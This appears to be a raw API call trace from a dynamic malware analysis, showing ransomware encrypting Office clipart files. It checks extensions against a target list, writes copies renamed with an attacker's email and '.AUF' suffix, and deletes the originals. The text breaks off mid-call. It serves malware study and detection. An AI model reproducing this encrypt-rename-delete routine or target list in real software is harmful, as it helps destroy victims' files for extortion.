1 [0216.344] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01084_.wmf")) returned 1 [0216.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0216.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0216.344] lstrlenW (lpString=".doc") returned 4 [0216.344] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.344] lstrlenW (lpString=".docx") returned 5 [0216.344] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.344] lstrlenW (lpString=".pdf") returned 4 [0216.344] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.344] lstrlenW (lpString=".xls") returned 4 [0216.344] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.344] lstrlenW (lpString=".xlsx") returned 5 [0216.344] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.344] lstrlenW (lpString=".ppt") returned 4 [0216.344] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0216.344] lstrlenW (lpString=".zip") returned 4 [0216.344] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.344] lstrlenW (lpString=".rar") returned 4 [0216.344] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.344] lstrlenW (lpString=".bz2") returned 4 [0216.344] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.344] lstrlenW (lpString=".7z") returned 3 [0216.344] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0216.344] lstrlenW (lpString=".dbf") returned 4 [0216.344] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0216.344] lstrlenW (lpString=".1cd") returned 4 [0216.344] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.344] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01084_.WMF") returned 63 [0216.344] lstrlenW (lpString=".jpg") returned 4 [0216.344] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.345] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=26332) returned 1 [0216.345] CloseHandle (hObject=0x194) returned 1 [0216.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 0x20 [0216.345] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.346] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.346] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.346] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0216.346] GetLastError () returned 0x0 [0216.346] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x66dc, lpOverlapped=0x0) returned 1 [0216.348] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x66e0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x66e0, lpOverlapped=0x0) returned 1 [0216.349] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.349] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.349] SetEndOfFile (hFile=0x20c) returned 1 [0216.349] CloseHandle (hObject=0x20c) returned 1 [0216.349] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.349] SetEndOfFile (hFile=0x194) returned 1 [0216.350] CloseHandle (hObject=0x194) returned 1 [0216.350] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.350] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01173_.wmf")) returned 1 [0216.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0216.350] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0216.350] lstrlenW (lpString=".doc") returned 4 [0216.350] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.351] lstrlenW (lpString=".docx") returned 5 [0216.351] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.351] lstrlenW (lpString=".pdf") returned 4 [0216.351] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.351] lstrlenW (lpString=".xls") returned 4 [0216.351] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.351] lstrlenW (lpString=".xlsx") returned 5 [0216.351] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.351] lstrlenW (lpString=".ppt") returned 4 [0216.351] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0216.351] lstrlenW (lpString=".zip") returned 4 [0216.351] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.351] lstrlenW (lpString=".rar") returned 4 [0216.351] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.351] lstrlenW (lpString=".bz2") returned 4 [0216.351] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.351] lstrlenW (lpString=".7z") returned 3 [0216.351] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0216.351] lstrlenW (lpString=".dbf") returned 4 [0216.351] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0216.351] lstrlenW (lpString=".1cd") returned 4 [0216.351] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.351] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01173_.WMF") returned 63 [0216.351] lstrlenW (lpString=".jpg") returned 4 [0216.351] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.351] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=27858) returned 1 [0216.351] CloseHandle (hObject=0x194) returned 1 [0216.351] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 0x20 [0216.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.352] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.352] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0216.352] GetLastError () returned 0x0 [0216.352] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x6cd2, lpOverlapped=0x0) returned 1 [0216.359] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x6ce0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x6ce0, lpOverlapped=0x0) returned 1 [0216.360] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.360] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.360] SetEndOfFile (hFile=0x20c) returned 1 [0216.360] CloseHandle (hObject=0x20c) returned 1 [0216.361] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.361] SetEndOfFile (hFile=0x194) returned 1 [0216.361] CloseHandle (hObject=0x194) returned 1 [0216.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.361] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01174_.wmf")) returned 1 [0216.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0216.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0216.362] lstrlenW (lpString=".doc") returned 4 [0216.362] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.362] lstrlenW (lpString=".docx") returned 5 [0216.362] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.362] lstrlenW (lpString=".pdf") returned 4 [0216.362] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.362] lstrlenW (lpString=".xls") returned 4 [0216.362] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.362] lstrlenW (lpString=".xlsx") returned 5 [0216.362] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.362] lstrlenW (lpString=".ppt") returned 4 [0216.362] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0216.362] lstrlenW (lpString=".zip") returned 4 [0216.362] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.362] lstrlenW (lpString=".rar") returned 4 [0216.362] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.362] lstrlenW (lpString=".bz2") returned 4 [0216.362] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.362] lstrlenW (lpString=".7z") returned 3 [0216.362] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0216.362] lstrlenW (lpString=".dbf") returned 4 [0216.362] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0216.362] lstrlenW (lpString=".1cd") returned 4 [0216.362] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.362] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01174_.WMF") returned 63 [0216.362] lstrlenW (lpString=".jpg") returned 4 [0216.362] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.362] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=3746) returned 1 [0216.363] CloseHandle (hObject=0x194) returned 1 [0216.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 0x20 [0216.363] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.363] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.363] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.363] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0216.363] GetLastError () returned 0x0 [0216.363] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xea2, lpOverlapped=0x0) returned 1 [0216.369] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xeb0, lpOverlapped=0x0) returned 1 [0216.370] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.370] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.370] SetEndOfFile (hFile=0x20c) returned 1 [0216.370] CloseHandle (hObject=0x20c) returned 1 [0216.370] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.370] SetEndOfFile (hFile=0x194) returned 1 [0216.371] CloseHandle (hObject=0x194) returned 1 [0216.371] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.371] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01184_.wmf")) returned 1 [0216.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0216.371] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0216.371] lstrlenW (lpString=".doc") returned 4 [0216.371] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.372] lstrlenW (lpString=".docx") returned 5 [0216.372] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.372] lstrlenW (lpString=".pdf") returned 4 [0216.372] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.372] lstrlenW (lpString=".xls") returned 4 [0216.372] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.372] lstrlenW (lpString=".xlsx") returned 5 [0216.372] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.372] lstrlenW (lpString=".ppt") returned 4 [0216.372] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0216.372] lstrlenW (lpString=".zip") returned 4 [0216.372] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.372] lstrlenW (lpString=".rar") returned 4 [0216.372] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.372] lstrlenW (lpString=".bz2") returned 4 [0216.372] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.372] lstrlenW (lpString=".7z") returned 3 [0216.372] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0216.372] lstrlenW (lpString=".dbf") returned 4 [0216.372] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0216.372] lstrlenW (lpString=".1cd") returned 4 [0216.372] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.372] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01184_.WMF") returned 63 [0216.372] lstrlenW (lpString=".jpg") returned 4 [0216.372] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.372] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=5836) returned 1 [0216.372] CloseHandle (hObject=0x194) returned 1 [0216.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 0x20 [0216.373] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.373] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.373] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0216.373] GetLastError () returned 0x0 [0216.373] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x16cc, lpOverlapped=0x0) returned 1 [0216.395] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x16d0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x16d0, lpOverlapped=0x0) returned 1 [0216.396] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.396] WriteFile (in: hFile=0x20c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.396] SetEndOfFile (hFile=0x20c) returned 1 [0216.396] CloseHandle (hObject=0x20c) returned 1 [0216.396] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.396] SetEndOfFile (hFile=0x194) returned 1 [0216.397] CloseHandle (hObject=0x194) returned 1 [0216.397] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.397] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0216.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0216.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0216.398] lstrlenW (lpString=".doc") returned 4 [0216.398] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0216.398] lstrlenW (lpString=".docx") returned 5 [0216.398] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0216.398] lstrlenW (lpString=".pdf") returned 4 [0216.398] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0216.398] lstrlenW (lpString=".xls") returned 4 [0216.398] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0216.398] lstrlenW (lpString=".xlsx") returned 5 [0216.398] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0216.398] lstrlenW (lpString=".ppt") returned 4 [0216.398] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0216.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0216.398] lstrlenW (lpString=".zip") returned 4 [0216.398] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0216.398] lstrlenW (lpString=".rar") returned 4 [0216.398] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0216.398] lstrlenW (lpString=".bz2") returned 4 [0216.398] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0216.398] lstrlenW (lpString=".7z") returned 3 [0216.398] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0216.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0216.398] lstrlenW (lpString=".dbf") returned 4 [0216.398] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0216.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0216.398] lstrlenW (lpString=".1cd") returned 4 [0216.398] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0216.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0216.398] lstrlenW (lpString=".jpg") returned 4 [0216.398] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0216.398] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=3012) returned 1 [0216.398] CloseHandle (hObject=0x194) returned 1 [0216.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 0x20 [0216.399] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 